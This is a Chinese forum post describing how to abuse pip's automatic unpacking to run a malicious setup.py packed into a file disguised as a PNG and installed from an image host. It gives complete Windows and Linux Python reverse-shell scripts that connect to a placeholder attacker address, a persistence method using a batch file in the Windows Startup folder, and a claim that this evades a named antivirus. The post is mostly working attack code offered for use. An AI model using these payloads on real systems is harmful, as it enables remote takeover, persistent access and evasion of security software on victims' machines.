利用pip自解压进行命令执行操作

camer   ·   发表于 2023-05-06 12:36:57   ·   技术文章

0x01 代码分析

pip官方关键代码如下:

def unpack_file(
    filename: str,
    location: str,
    content_type: Optional[str] = None,
) -> None:
    filename = os.path.realpath(filename)

    # 判断文件类型或者结尾是否为压缩包类型的文件
    if (
        content_type == "application/zip"
        or filename.lower().endswith(ZIP_EXTENSIONS)
        or zipfile.is_zipfile(filename)
    ):
        unzip_file(filename, location, flatten=not filename.endswith(".whl"))
    elif (
        content_type == "application/x-gzip"
        or tarfile.is_tarfile(filename)
        or filename.lower().endswith(TAR_EXTENSIONS + BZ2_EXTENSIONS + XZ_EXTENSIONS)
    ):
        untar_file(filename, location)
    else:
      # 抛出异常
        # FIXME: handle?
        # FIXME: magic signatures?
        logger.critical(
            "Cannot unpack file %s (downloaded from %s, content-type: %s); "
            "cannot detect archive format",
            filename,
            location,
            content_type,
        )
        raise InstallationError(f"Cannot determine archive format of {location}")

总结:首先,将文件名转换为绝对路径。然后,根据文件的类型判断文件应该使用哪种方式进行解压缩,然后运行其中的setup.py文件即可。

0x02 漏洞复现

1、创建一个任意名字的文件夹,在文件夹里创建一个setup.py

2、压缩打包成图片

3、http环境远程安装并执行

0x03 实战利用

windows环境脚本如下:

import os
import select
import socket
import subprocess

def reserve_connect():
    '''反弹连接shell'''
    ip = "xx.xx.xx.xx"  # 替换为您的IP地址
    port = xxxx  # 替换为您的端口号

    try:
        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        shell.connect((ip, port))
    except Exception as reason:
        print('[-] Failed to Create Socket: %s' % reason)
        exit(0)

    rlist = [shell]
    wlist = []
    elist = [shell]

    while True:
        shell.send("cmd:".encode("utf-8"))

        rs, ws, es = select.select(rlist, wlist, wlist)

        for sockfd in rs:
            if sockfd == shell:
                command = shell.recv(1024).decode("utf-8")

                if command == 'exit':
                    shell.close()
                    exit(0)

                result, error = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate()
                shell.sendall(result)

# 主函数运行
if __name__ == '__main__':
    reserve_connect()

linux环境脚本如下:

import socket
import subprocess
import os

def reverse_shell():
    host = 'xxx.xxx.xxx'  # 替换为您的IP地址
    port = xxxx  # 替换为您的端口号

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((host, port))

    # 重定向标准输入、输出、错误输出到 socket
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')

    # 执行交互式的 shell
    subprocess.call(["/bin/bash", "-i"])

    s.close()

if __name__ == '__main__':
    reverse_shell()

以Windows环境为例:

反弹shell

1、将制作好的png文件上传到免费的图床平台上,如简约图床

注意图床平台是不是将图片二次解析了,这样的图床会导致执行失败

2、VPS开启监听,接下来执行命令,收到shell

pip install "https://xxxx/xxxxx.png"

维持权限

  1. 创建一个批处理文件(例如 startup.bat)并在其中添加要运行的命令:

    <span>@echo</span> off
    timeout /t 10 /nobreak
    
    pip install "https://xxxx/xxxxx.png"
    
  2. 将批处理文件移动到系统的启动文件夹中。启动文件夹的位置是:C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup。可以手动导航到该位置,然后将 startup.bat 文件复制到该文件夹中。

  3. 当您的系统启动时,批处理文件 startup.bat 将自动运行,并执行其中的命令。

0x04 bypass效果

测试的时候开着火绒,发现火绒不拦截报毒,能够执行,而且就算开启了联网控制,一定程度上也是白名单,倒计时后也会自动允许运行

用户名金币积分时间理由
Track-子羽 80.00 0 2023-05-09 17:05:02 一个受益终生的帖子~~

打赏我,让我更有动力~

1 条回复   |  直到 10个月前 | 555 次浏览

没勇气先生
发表于 10个月前

嚯,鼎夏抄过来的就能换钱

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.